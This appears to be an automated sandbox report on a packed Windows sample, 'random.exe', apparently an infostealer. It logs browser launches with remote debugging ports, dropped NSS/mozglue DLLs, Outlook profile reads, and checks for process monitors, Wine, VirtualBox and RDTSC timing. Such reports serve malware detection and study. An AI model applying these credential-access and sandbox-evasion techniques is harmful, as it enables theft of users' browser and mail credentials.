Source: random.exe, 00000000.00000002.2569039462.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, random.exe, 00000000.00000002.2563614918.000000000593F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: random.exe, 00000000.00000002.2569039462.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, random.exe, 00000000.00000002.2563614918.000000000593F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: random.exe	Virustotal: Detection: 58%
Source: random.exe	ReversingLabs: Detection: 57%

Source: random.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\random.exe "C:\Users\user\Desktop\random.exe"
Source: C:\Users\user\Desktop\random.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2172,i,13624548520886742234,6380793912350541431,262144 /prefetch:8
Source: C:\Users\user\Desktop\random.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=2108,i,4490378392480787502,16725660642351328017,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2080,i,9613275274718560271,127289497229019134,262144 /prefetch:3
Source: C:\Users\user\Desktop\random.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2172,i,13624548520886742234,6380793912350541431,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=2108,i,4490378392480787502,16725660642351328017,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2080,i,9613275274718560271,127289497229019134,262144 /prefetch:3	Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: random.exe

Static file information: File size 1824256 > 1048576

Source: random.exe

Static PE information: Raw size of emokxepa is bigger than: 0x100000 < 0x1a3000

Source:	Binary string: mozglue.pdbP source: random.exe, 00000000.00000002.2569394854.000000006C93D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: random.exe, 00000000.00000002.2569645233.000000006CAFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: random.exe, 00000000.00000002.2569645233.000000006CAFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: random.exe, 00000000.00000002.2569394854.000000006C93D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\random.exe

Unpacked PE file: 0.2.random.exe.100000.0.unpack :EW;.rsrc:W;.idata :W; :EW;emokxepa:EW;zgdjjrtn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;emokxepa:EW;zgdjjrtn:EW;.taggant:EW;

Source: C:\Users\user\Desktop\random.exe

Code function: 0_2_6C8C3480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C8C3480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random.exe

Static PE information: real checksum: 0x1c3767 should be: 0x1cab09

Source: random.exe	Static PE information: section name:
Source: random.exe	Static PE information: section name: .idata
Source: random.exe	Static PE information: section name:
Source: random.exe	Static PE information: section name: emokxepa
Source: random.exe	Static PE information: section name: zgdjjrtn
Source: random.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\random.exe

Code function: 0_2_6C8FB536 push ecx; ret

0_2_6C8FB549

Source: random.exe

Static PE information: section name: emokxepa entropy: 7.954635503581781

Source: C:\Users\user\Desktop\random.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\random.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\random.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Code function: 0_2_6C9255F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9255F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\random.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4C3726 second address: 4C372B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4C372B second address: 4C373F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F8A48DE77C6h 0x00000009 jns 00007F8A48DE77C6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4C373F second address: 4C3745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4C3745 second address: 4C3749 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D12CB second address: 4D12F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A48B4BD79h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push ebx 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D12F2 second address: 4D12F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D12F7 second address: 4D1307 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnl 00007F8A48B4BD66h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D1307 second address: 4D133A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77D7h 0x00000007 jmp 00007F8A48DE77D1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D133A second address: 4D1351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A48B4BD73h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D3F55 second address: 4D3F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D3F59 second address: 4D3F5F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D3F5F second address: 4D3FED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F8A48DE77C8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 call 00007F8A48DE77D8h 0x0000002b jmp 00007F8A48DE77CBh 0x00000030 pop esi 0x00000031 push 00000000h 0x00000033 mov edx, 5692D900h 0x00000038 call 00007F8A48DE77C9h 0x0000003d jng 00007F8A48DE77D0h 0x00000043 pushad 0x00000044 push edi 0x00000045 pop edi 0x00000046 je 00007F8A48DE77C6h 0x0000004c popad 0x0000004d push eax 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F8A48DE77D1h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D3FED second address: 4D4002 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D4002 second address: 4D4096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [eax] 0x00000008 push edi 0x00000009 push ecx 0x0000000a jmp 00007F8A48DE77D4h 0x0000000f pop ecx 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 push ebx 0x00000017 jmp 00007F8A48DE77D7h 0x0000001c pop ebx 0x0000001d push edi 0x0000001e pushad 0x0000001f popad 0x00000020 pop edi 0x00000021 popad 0x00000022 pop eax 0x00000023 mov dword ptr [ebp+122D17B4h], edi 0x00000029 push 00000003h 0x0000002b je 00007F8A48DE77CCh 0x00000031 mov edi, dword ptr [ebp+122D269Ch] 0x00000037 mov ecx, 57A3842Fh 0x0000003c push 00000000h 0x0000003e mov dword ptr [ebp+122D17A9h], ecx 0x00000044 push 00000003h 0x00000046 push 00000000h 0x00000048 push ebp 0x00000049 call 00007F8A48DE77C8h 0x0000004e pop ebp 0x0000004f mov dword ptr [esp+04h], ebp 0x00000053 add dword ptr [esp+04h], 0000001Bh 0x0000005b inc ebp 0x0000005c push ebp 0x0000005d ret 0x0000005e pop ebp 0x0000005f ret 0x00000060 push D732A83Eh 0x00000065 pushad 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D4096 second address: 4D409A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D409A second address: 4D40F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 xor dword ptr [esp], 1732A83Eh 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F8A48DE77C8h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 lea ebx, dword ptr [ebp+12457E07h] 0x00000037 xor dword ptr [ebp+122D243Fh], edx 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 pushad 0x00000042 popad 0x00000043 jo 00007F8A48DE77C6h 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D41B1 second address: 4D41B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D4272 second address: 4D42AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F8A48DE77C6h 0x0000000a popad 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f sub di, 8C9Ah 0x00000014 push 00000000h 0x00000016 mov cx, si 0x00000019 push D146A1A0h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 jmp 00007F8A48DE77D7h 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D42AD second address: 4D42B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8A48B4BD66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D4397 second address: 4D43CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F8A48DE77D5h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007F8A48DE77D0h 0x00000019 jmp 00007F8A48DE77CAh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D43CA second address: 4D4403 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F8A48B4BD70h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e mov edi, 207DD80Fh 0x00000013 lea ebx, dword ptr [ebp+12457E1Bh] 0x00000019 sbb ecx, 6D459F00h 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F8A48B4BD6Ch 0x00000027 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D4403 second address: 4D4409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4D4409 second address: 4D440D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F4775 second address: 4F4779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F4779 second address: 4F477D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F477D second address: 4F4786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F2895 second address: 4F28BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F8A48B4BD66h 0x0000000f jmp 00007F8A48B4BD77h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F28BB second address: 4F28CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A48DE77CCh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 4F28CD second address: 4F28D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
